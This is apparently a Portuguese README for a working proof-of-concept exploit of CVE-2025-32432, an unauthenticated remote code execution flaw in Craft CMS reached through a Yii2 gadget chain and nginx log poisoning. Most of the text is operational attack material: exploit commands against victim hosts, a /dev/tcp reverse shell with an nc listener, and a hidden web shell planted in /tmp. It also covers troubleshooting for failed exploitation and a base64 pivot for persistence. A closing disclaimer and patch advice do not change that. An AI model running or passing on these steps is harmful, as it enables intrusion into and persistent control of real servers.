
PoC funcional para CVE-2025-32432 - Craft CMS <= 5.6.16 RCE não autenticado via gadget Yii2 PhpManager + envenenamento de access.log do nginx
Prova de conceito funcional para CVE-2025-32432, uma vulnerabilidade de execução remota de código não autenticada no Craft CMS versões até e incluindo 5.6.16 (também afeta as árvores 4.x e 3.x em caminhos de código equivalentes).
Palavras-chave de pesquisa: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
O modo padrão ataca instalações vanilla do Craft CMS. Uma flag --lab está incluída para o desafio carangueijada-20 do projeto hacklab-platform, que protege o Craft por trás de um cookie de sessão personalizado.
Componente afetado: craft\controllers\AssetsController::actionGenerateTransform.
A ação está registrada como allowAnonymous, portanto nenhuma autenticação é necessária. Ela aceita um parâmetro POST handle que é então espalhado em uma chamada Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Quando $handle é um array associativo sob controle do atacante, o espalhamento injeta chaves arbitrárias na configuração do construtor. Em particular, uma chave começando com as é interpretada por yii\base\Component::__set como uma anexação de comportamento, que chama Yii::createObject($config) no valor antes de qualquer verificação de tipo:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
A correção do Yii2 na versão 2.0.50 adicionou is_subclass_of($value['class'], Behavior::class) protegendo este ramo; instalações vulneráveis (Yii2 <= 2.0.49, ou verificação removida anteriormente) ignoram a proteção completamente.
yii\rbac\PhpManagerPhpManager é uma classe padrão do Yii2. Seu método init() chama load(), que chama loadFromFile($this->itemFile). loadFromFile é literalmente:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require analisa qualquer arquivo no disco como PHP. Se o arquivo contiver um bloco <?php ... ?>, esse bloco é executado no worker. Ao apontar itemFile para um arquivo cujo conteúdo o atacante controla, o RCE completo é alcançado.
access.logO sink confiável entre instalações é o access.log no formato combinado do nginx. Ele registra o User-Agent da requisição literalmente, incluindo caracteres não imprimíveis e a maioria da pontuação. Ao enviar uma requisição cujo User-Agent é <?php system('id'); exit; ?>, o atacante planta um bloco PHP em um caminho conhecido. Apontar itemFile para /var/log/nginx/access.log então executa require no log, executando cada bloco <?php ... ?> em ordem.
Duas sutilezas importantes:
" para \x22 no formato combinado, o que quebra a análise PHP da linha. Use aspas simples ou concatenação com chr().exit; no final para que require seja abortado antes de analisar linhas posteriores do log que possam conter outros payloads malformados.| Componente | Vulnerável | Corrigida |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
O Craft 5.6.17 adiciona uma verificação ImageTransformerInterface na classe transformer. O Yii2 2.0.50 adiciona uma verificação de subclasse Behavior em Component::__set. Qualquer uma das correções sozinha fecha esta cadeia de gadget exata.
requests (pip install -r requirements.txt)assetId válido do Craft no alvo. Padrão 2; sobrescreva com -a <id> se necessário (o asset id 1 geralmente é o avatar do admin).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile personalizado (caminho de log diferente, sessão FPM, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
O laboratório carangueijada-20 do hacklab-platform protege a instalação do Craft por trás de um cookie coopsess emitido por PATCH /login. A flag --lab lida com esse handshake automaticamente.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Certifique-se de que www.carangueijada.coop resolva para o IP do laboratório (adicione ao /etc/hosts se necessário).
A flag --revshell dispara um connect-back bash -i >& /dev/tcp/<lhost>/<lport> 0>&1, em segundo plano para que o POST do gadget retorne instantaneamente.
Fluxo de dois terminais (mais confiável):
# terminal 1 - listener na sua máquina
nc -lvnp 4444
# terminal 2 - disparar exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Fluxo de um terminal com listener embutido:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen inicia nc -lvnp <lport> no mesmo terminal antes de disparar o payload. Ctrl+C sai quando terminar.
Exemplo de sessão (laboratório):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Estabilizando o shell (após conectar, execute dentro do reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z para colocar nc em segundo plano
stty raw -echo; fg
# Enter duas vezes
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
Na primeira execução, o exploit envenena o access.log uma vez para deixar um wrapper PHP oculto em /tmp/.cve32432_w.php. O wrapper lê o cabeçalho HTTP X-Cmd e executa system($_SERVER['HTTP_X_CMD']). Cada envio subsequente aponta itemFile para o arquivo wrapper e passa o comando via cabeçalho. Sem mais envenenamento, sem mais poluição do log, sem mais falhas de "primeiro bloco <?php exit; vence".
Se quiser forçar o recarregamento, exclua /tmp/.cve32432_w.php no alvo (você pode fazer isso através do próprio wrapper: --cmd 'rm /tmp/.cve32432_w.php').
Execução bem-sucedida contra alvo novo:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Fallback de log poluído (alvo já foi explorado antes, payload mais antigo sai antes do seu):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform alcança AssetsController::actionGenerateTransform.$config = ['class' => ImageTransform::class, ...$handle]. Nosso handle[as gadget] sobrevive ao espalhamento.Craft::createObject($config) chama Yii::$container->get(ImageTransform::class, [], $config), que instancia ImageTransform e escreve cada chave de configuração restante via $transform->{$key} = $value.as gadget, Component::__set corresponde ao prefixo as e chama Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).Yii::createObject constrói PhpManager, executa __construct() e depois init().PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.<?php ... ?> executam no worker.system($cmd) e exit;. A saída aparece no corpo da resposta onde o bloco <?php estava localizado textualmente.| Sintoma | Causa | Correção |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | Token CSRF não vinculado ao cookie usado no POST | O script usa uma única requests.Session; se você reimplementar, certifique-se de que o jar de cookies persista CRAFT_CSRF_TOKEN entre session-info e o POST. |
HTTP 403 em /actions/... | Prefixo de caminho ou vhost errado | Use -p /prefix para corresponder ao local onde o Craft está montado; certifique-se de que o cabeçalho Host corresponda à instalação. |
csrfTokenValue vazio / session-info retorna HTML | Cabeçalho Accept errado | O script já envia Accept: application/json; se você remover essa configuração, restaure-a. |
| A saída nunca mostra seu comando | O access.log já contém um payload <?php ... exit; ?> mais antigo que executa primeiro | Rode / trunque o log no alvo. Se você só tem RCE como id, aguarde o próximo logrotate, ou faça um pivô através de um arquivo PHP gravável (ex.: /tmp/wrapper.php com system($_SERVER['HTTP_X_CMD']);) e use-o como itemFile daqui em diante. |
assetId not found | ID errado para aquela instalação | Navegue por URLs públicas de assets para enumerar IDs, ou tente -a 1 e depois -a 3..N. |
| Alvo corrigido | Craft >= 5.6.17 ou Yii2 >= 2.0.50 | A cadeia está fechada; ou encontre outra classe vulnerável ou prossiga. |
| Payload causa erro fatal no PHP | Entradas mais antigas do log contêm PHP malformado que quebra o parser antes do seu bloco | Mesma correção do log poluído: rode o log. |
Se você só pode executar id de forma confiável (porque um veneno exit; mais antigo travou a cadeia), um pivô viável é fazer esse único comando do tipo id escrever um wrapper PHP em um caminho que você controla, e então alterar itemFile para esse caminho para todas as requisições subsequentes:
# one-shot poison with command that drops /tmp/w.php as www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# encode CMD as chr() ...
Então chame:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
Cada envio subsequente lê /tmp/w.php (um arquivo PHP limpo sem nada antes do nosso payload) e executa o comando do cabeçalho X-Cmd. Adapte o script se quiser isso como um modo embutido.
.
├── exploit.py # o PoC
├── README.md # este arquivo
├── requirements.txt # Dependências Python (apenas `requests`)
└── LICENSE # MIT
Component.php do Yii2 (revisão vulnerável): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpEsta prova de conceito é publicada apenas para pesquisa defensiva, uso educacional e testes de penetração autorizados. Executá-la contra sistemas que você não possui ou para os quais não tem permissão por escrito para testar é ilegal na maioria das jurisdições. O autor não aceita responsabilidade por uso indevido.
Se você mantém uma instalação do Craft CMS, atualize para 5.6.17 ou superior (ou a versão de patch correspondente 4.x / 3.x). A vulnerabilidade é trivialmente explorável e foi usada em campanhas reais documentadas pela SensePost.
MIT. Veja LICENSE.